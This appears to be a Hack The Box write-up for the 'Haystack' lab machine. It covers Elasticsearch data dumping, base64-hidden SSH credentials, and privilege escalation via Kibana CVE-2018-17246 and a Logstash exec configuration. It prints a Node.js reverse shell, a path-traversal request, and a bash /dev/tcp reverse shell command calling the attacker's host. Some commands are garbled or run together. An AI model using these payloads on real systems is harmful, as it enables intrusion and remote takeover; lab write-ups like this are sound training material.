Haystack - hack the box

Introduction

Target: 10.10.10.115(Linux)

Kali: 10.10.16.61

HayStack is an easy box in hack the box. But it does isn't easy at all. It's annoying to find the user and password in the messy Spanish. For the root, you should have a basic understanding of ELK. Hence, the box is quite fresh in htb.

Information Enumeration

As usual, nmap is utilized to detect detailed ports and services.

   
   
# Nmap 7.70 scan initiated Sun Jun 30 01:10:53 2019 as: nmap -sT -p- --min-rate 1500 -oN ports 10.10.10.115
Nmap scan report for 10.10.10.115
Host is up (0.27s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9200/tcp open wap-wsp

Then detect the detailed services:

   
   
# Nmap 7.70 scan initiated Sun Jun 30 01:13:05 2019 as: nmap -sC -sV -p22,80,9200 -oN services 10.10.10.115
Nmap scan report for 10.10.10.115
Host is up (0.38s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: 502 Bad Gateway

For port 80, we find nothing except a picture of a needle. Exiftool is used to analyze. But nothing interesting found. Try to use gobuster to brute force the directory, but have not found any useful directories.

For port 9200, nmap seems to be failed to detect. But this port should be familiar to elasticserarch users. Elasticsearch is a popular search database in recent years. Something is interesting in elasticsearch. We will talk about this later.

Exploit

In the above, we have talked about the ports. The elasticsearch should be the point. Try to obtain the data of elasticsearch. There is no authentication for elasticsearch in default. Hence, we can read the data from elasticsearh. In the beginning, I have tried to use kibana to analyze the data. Kibana is one component of ELK, which is a powerful tool to analyze the data of elasticsearch. And it's easy to use. Just download the files, then decompress the files. There is only one step to finish before run kibana. Modify elasticsearch.url in config.yml, it should be configured to 10.10.10.115:9200. Then you can run kibana directly.

When you access to kibana, you will find two indexes: bank and quotes. The bank seems to be data of bank users information, which seems not to be useful. For index quotes, we have found nothing but the quote of Spanish. To be honest, Spanish is really messy for me to read. And I cannot find anything interesting. Kibana is useful for query specific field. But quotes seems to be an article. So I decide to dump all the data of quotes.

elasticsearh-dump is useful to dump the data from elasticsearch. Firstly, install the tool by npm install elasticdump-g. Then dump the data by:

   
   
elasticdump \
 --input=http://production.es.com:9200/quotes \
 --output=quptes.json \
 --type=data

The result will be json file of a list of objects consist of some keys. The most important is the quote in the result. But the json is still not convenient to read. And the id may be the sequence of quotes. So, I decide to write a script to order the quotes by id and join all the quotes together.

   
   
import json
result = {}
txt = ""
with open("quotes.json") as f:
 data = f.readlines()
 for ele in data:
 obj = json.loads(ele)
 id = int(obj["_id"])
 result[id] = obj["_source"]["quote"]
 for i in sorted(result.keys()):
 print(i)
 txt = txt + result[i] + "\n\n"
with open("result.md", "w") as f1:
 f1.write(txt)

Now, I have the result of quotes. And it's easy to read. I place this file in Github. When I read this file by Chrome, Chrome can help me translate this article. So, it's easier to find special things in the article. I have found two interesting strings in the article.

   
   
Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg

   
   
Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=

If you translate the two stings into English respectively.

   
   
I have to save the password for the machine: dXNlcjogc2VjdXJpdHkg

   
   
This key cannot be lost, I keep it here: cGFzczogc3BhbmlzaC5pcy5rZXk=

The end of the strings is encoded by base64. When decoded, we can find the username and password. Then you can ssh by the username and password.

To be honest, I don't like the user of the box. But it does works as the keyword: you have to find a needle in haystack.

PrivEsc

If you look around the box, you will find the box is installed with ELK. You can find kibana and logstash in the box. If you google kibana exploit. You will find CVE-2018-17246 in Github. It has detailed illustrates the ways to exploit.

However, there is a problem that the kibana service is only running in local. So you cannot access kibana service externally. There is a way to utilize ssh to redirect the network stream.

   
   
ssh 5601:localhost:5601 security@10.10.10.115

Then, we can access to the kibana service in 10.10.10.115 by access to localhost:5601. Place the server.js in tmp directory of the target machine.

   
   
// server.js
(function(){
 var net = require("net"),
 cp = require("child_process"),
 sh = cp.spawn("/bin/sh", []);
 var client = new net.Socket();
 client.connect(1234, "10.10.16.61", function(){
 client.pipe(sh.stdin);
 sh.stdout.pipe(client);
 sh.stderr.pipe(client);
 });
 return /a/; // Prevents the Node.js application form crashing
})();

Then we can implement by burp, remember to set up nc listener nc-lvnp1234

   
   
GET /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/server.jssudo -l HTTP/1.1
Host: localhost:5601
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5601/app/kibana
content-type: application/json
kbn-version: 6.4.2
origin: http://localhost:5601
Connection: close

Wait for a while, then we are kibana.

But we are still not root! Don't be upset. Let's move on. If we look at the logstash in the machine carefully, we will find something interesting. We find the user group kibana has write permission of conf.d of logstash.

   
   
ls -lah
total 52K
drwxr-xr-x. 3 root root 183 jun 18 22:15 .
drwxr-xr-x. 83 root root 8,0K jun 24 05:44 ..
drwxrwxr-x. 2 root kibana 62 jun 24 08:12 conf.d
-rw-r--r--. 1 root kibana 1,9K nov 28 2018 jvm.options
-rw-r--r--. 1 root kibana 4,4K sep 26 2018 log4j2.properties
-rw-r--r--. 1 root kibana 342 sep 26 2018 logstash-sample.conf
-rw-r--r--. 1 root kibana 8,0K ene 23 2019 logstash.yml
-rw-r--r--. 1 root kibana 8,0K sep 26 2018 logstash.yml.rpmnew
-rw-r--r--. 1 root kibana 285 sep 26 2018 pipelines.yml
-rw-------. 1 kibana kibana 1,7K dic 10 2018 startup.option

conf.d is the config directory of logstash consists of three files in general. Take a deep look into the directory, you'll find an interesting thing. There is a command executes in output.conf. If you have basic knowledge of logstash, you should know the function of the three files. input.conf is used to config the data source. filter.conf is used to process the data, which is usually combined with grok. output.conf is used to output the processed data. We can find there is an exec in the output.conf.

So the exploit is very clear. Create a file in /opt/kibana/ whose name begins with logstah_. And make sure the content in the file can be parsed by grok correctly. Then the command can be executed successfully. The most important part is how to create the content to be parsed to correct comando. So you should know how to use grok. Grok is utilized to recognize specific fields by the regular expression. [Grok Debugger] is a useful tool to test grok online.

The expression is quite simple. If you know the regular expression, it will not be hard to understand the expression here.

filter.conf

   
   
filter {
 if [type] == "execute" {
 grok {
 match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
 }
 }
}

input.conf

   
   
input {
 file {
 path => "/opt/kibana/logstash_*"
 start_position => "beginning"
 sincedb_path => "/dev/null"
 stat_interval => "10 second"
 type => "execute"
 mode => "read"
 }
}

output.conf

   
   
output {
 if [type] == "execute" {
 stdout { codec => json }
 exec {
 command => "%{comando} &"
 }
 }
}

Now, we have known how to create the corresponding comando. The next step is to choose the command to execute. There is not nc in the machine. But there's python and perl in the machine. But the reverse shell command is a little long. So I choose to use bash-i>&/dev/tcp/10.10.16.61/12340>&1. Write the content to the corresponding file:

   
   
echo "Ejecutar comando: bash -i >& /dev/tcp/10.10.16.61/1234 0>&1" > /opt/kibana/logstash_1.txt

Use the nc to listen at port 1234, wait a while, root is coming.

历史靶机

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